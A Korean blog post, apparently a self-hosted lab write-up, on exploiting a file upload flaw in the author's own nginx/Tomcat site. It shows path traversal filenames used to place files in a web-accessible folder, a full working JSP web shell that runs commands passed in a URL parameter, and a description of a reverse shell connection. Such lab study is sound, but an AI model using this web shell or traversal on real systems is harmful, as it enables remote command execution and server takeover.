File Upload 공격 실습 (2)
취약점 사이트
- 내가 만든 웹 사이트를 이용하였다.
서버 탐색 및 취약점 탐색
서버 버전 확인
-
우분투에서 동작하고 nginx 웹 서버라는 것을 알 수 있다.
- 일부러 URL 주소를 이상하게 입력하여 404 페이지에 접속하면 WAS로 apache tomcat을 사용하는 것을 확인할 수 있다. 서버에서 사용중인 tomcat 버전( 10.1.9 )도 확인이 가능하다.
- 즉 웹 서버는 nginx + tomcat 로 구성되었다는 것을 알 수 있다.
File Upload ( 확장자 )
-
어느 확장자이든 모두 업로드가 가능하다.
-
즉 이 웹서버는 확장자를 필터링 하지않는다.
File Upload 취약점 (traversal)
- 게시글을 올릴 때 파일 업로드도 같이 할 수 있다. 여기서 공격자가 파일의 이름을 바꾸어 파일 위치를 공격자가 마음데로 설정할 수 있는 traversal 우회방법을 발견하였다.
- 정상적으로 파일이름이 설정되었을 경우. 게시글에 첨부파일이 잘 올라간 것을 확인할 수 있다.
- 현재 디렉토리를 뜻하는
./
를 파일 이름에 붙여 업로드 하는경우. 앞의 상황과 마찬가지로 첨부파일이 잘 올라갔고 다운로드도 잘되는 것을 확인할 수 있다. - 이렇게 업로드 경로를 공격자 마음대로 바꿀 수 있다.
파일 업로드 위치 파악하기 ( 예측하기 )
- 다운로드 링크를 통해서는 어디에 저장되었는지 정확히 파악하기 힘들다.
http://221.27.0.6/main_page/notice_board/notice_file_download?downlink=test.png&pageid=129
-
웹 서버와 파일 업로드 서버 위치가 물리적으로 분리되어 있다면 공격자는 웹쉘 코드에 접근할 수 없다. 즉 공격을 성공할 수가 없다. 따라서 여기서는 웹 서버와 파일 업로드 서버 위치가 동일한 것으로 가정하였다.
- tomcat 파일 구조 파악하기. 폴더만 표시하였다.
apache-tomcat-10.1.9/
├── bin
├── conf
├── lib
├── logs
├── temp
├── webapps
└── work
- webapps 폴더에 공격자가 만든 jsp 파일을 올려주어야 공격자가 jsp 파일에 접근이 가능하다.
파일 업로드 폴더 구조 예측
1. 업로드 폴더+게시글 구분 > 파일 저장
2. 업로드 폴더 > 게시글 구분 > 파일 저장
파일 업로드 폴더 위치 후보 1
- webapps > ROOT > WEB-INF > 업로드 폴더
- WEB-INF 폴더에 있는 파일들은 링크를 통해 외부에서 접근이 불가능 하다.
webapps
└── ROOT
└── WEB-INF
└── 업로드 폴더
업로드 폴더 구조 (1) 일 때.
- 다음과 같이 파일 이름을 주면 사용자는 링크를 통해 파일에 접근이 가능하다.
webapps
└── ROOT
└── WEB-INF
└── 업로드 폴더+게시글 구분
../../../파일이름
http://221.27.0.6/minqtest.png
- 테스트 업로드 성공
- url 로 접근 테스트 404 페이지 실패
업로드 폴더 구조 (2) 일 때.
- 다음과 같이 파일 이름을 주면 사용자는 링크를 통해 파일에 접근이 가능하다.
webapps
└── ROOT
└── WEB-INF
└── 업로드 폴더
└── 게시글 구분
../../../../파일이름
http://221.27.0.6/minqtest.png
-
업로드 성공
-
url 접근 실패
파일 업로드 폴더 위치 후보 2
- apache-tomcat-10.1.9 와 같은 위치.
- 사용자는 링크를 통해 파일에 바로 접근이 불가능 하다.
- 이 방법을 성공할려면 먼저 톰캣 폴더명을 알아야한다. 웹 서버에서 톰캣 폴더명을 바꿨으면 불가능한 방법이다.
.
├── apache-tomcat-10.1.9
└── 업로드 폴더
업로드 폴더 구조 (1) 일 때.
- 파일 이름
.
├── apache-tomcat-10.1.9
└── 업로드 폴더+게시글 구분
../apache-tomcat-10.1.9/파일이름
http://221.27.0.6/minqtest.png
- 파일 업로드 실패
업로드 폴더 구조 (2) 일 때.
- 파일 이름
.
├── apache-tomcat-10.1.9
└── 업로드 폴더
└── 게시글 구분
../../apache-tomcat-10.1.9/파일이름
http://221.27.0.6/minqtest.png
- 파일 업로드 실패
파일 업로드 폴더 위치 후보 3
- apache-tomcat-10.1.9 > 업로드 폴더
- apache-tomcat-10.1.9 폴더에 있으면 사용자는 링크를 통해 파일에 바로 접근이 불가능하다.
apache-tomcat-10.1.9/
├── bin
├── conf
├── lib
├── logs
├── temp
├── webapps
├── work
└── 업로드 폴더
업로드 폴더 구조 (1) 일 때.
- 파일 이름
apache-tomcat-10.1.9/
└── 업로드 폴더 + 게시글 구분
../webapps/파일이름
- 파일 업로드 실패
업로드 폴더 구조 (2) 일 때.
- 파일 이름
apache-tomcat-10.1.9/
└── 업로드 폴더
└── 게시글 구분
../../webapps/파일이름
-
파일 업로드 성공
-
url 접근 실패
-
url 통해 접근은 실패하였지만 업로드 폴더 위치를 파악할 수 있었다.
apache-tomcat-10.1.9/
├── webapps
└── 업로드 폴더
└── 게시글 구분
└── 업로드 파일
파일 업로드 위치
- 예측을 통해 업로드 위치를 알 수 있었다.
apache-tomcat-10.1.9/
├── webapps
└── 업로드 폴더
└── 게시글 구분
└── 업로드 파일
-
webapps 의 ROOT 폴더에 넣어도 링크를 통해 바로 업로드한 파일로 접근이 안된다.
- tomcat 을 다운받았을 때 webapps 에 디펄트로 존재하는 폴더를 이용해 보았다.
- ROOT 폴더가 아닌 docs 폴더에 업로드 파일 넣기 성공.
- 링크를 통해 업로드한 파일에 접근을 성공하였다.
http://221.27.0.6/docs/minqtest.png
최종 파일 이름
- 업로드 파일 이름
../../webapps/docs/파일이름
공격 시작
웹 쉘 업로드 하기 ( 바인드 쉘 )
JSP 웹 쉘
- 웹 쉘을 올려 공격자가 실행시킬 수 있는지 확인한다.
<%@ page import="java.io.*" %>
<%
try {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream in = p.getInputStream();
int c;
while((c=in.read())!=-1){
out.print((char)c);
}
in.close();
try {
p.waitFor();
}catch(Exception e){
out.println(e.getMessage());
}
}catch(Exception e){
out.println(e.getMessage());
}
%>
-
jsp 웹 쉘을 업로드한다.
-
url 을 통해 webshell.jsp 에 접속해본다.
http://221.27.0.6/docs/webshell.jsp?cmd=pwd
cmd=ls+-al
리버스 쉘 코드 업로드하기.
- 공격자 서버는 웹 서버가 접속할 수 있도록 포트를 열어준다.
- 리버스 쉘 코드를 업로드하여 공격자 서버와 연결한다.
- 명령어를 입력하여 잘 연결되었는지 확인한다.
- 리버스 쉘은 진짜 리눅스 터미널에서 명령을 입력하듯 사용하면된다.
- 명령을 통해 웹 서버를 종료 시켜 보자. 관리자 권한이 없기 때문에 nginx 서버를 종료를 못시킨다. 따라서 일단 톰캣 서버를 종료시켜 보았다.
후기
- File Upload 기능을 직접 구현하고 직접 File Upload 공격법을 시도해 보았다. 처음에는 취약점이 없을 텐데라고 생각하여 실습을 위해 일부러 취약점을 만들어야 하나 라고 생각하였다. 하지만 File Upload 의 traversal 우회기법을 사용하여 파일 업로드 위치를 공격자가 링크를 통하여 접근할 수 있는 위치로 설정할 수 있었다. 취약점 없다고 먼저 단정짓지말고 먼저 열심히 찾아보고 있는 없는지를 판단해야 겠다는 생각이 들었다.
- 윈도우에서 리버스 쉘을 작성을 하였을 때 악성 코드로 백신이 인식하여 삭제하는 참사가 있었다. 좀 당황하였지만 윈도우에 코드를 바로 저장하지 않고 메모장에 작성만 해놓았다가 burp suite 로 파일 업로드 할 때 파일 내용을 리버스 쉘 코드로 바꿔 주었다.
- 리버스 쉘이라는 이름을 듣고 처음에는 서버가 공격자 서버로 명령을 내리는 건가 라고 생각하였다. 하지만 리버스 쉘 코드를 보고 소켓을 통해 공격자 서버와 연결한 것이라는 것을 알 수 있었다.
- 웹 쉘 코드를 웹 서버에 업로드하여 명령을 실행할 때도 엄청 신기하였는데 리버스 쉘 코드를 서버로 업로드하여 실제 서버와 ssh 연결한 것 처럼 명령을 주고 받으니 엄청 신기하였다.
댓글남기기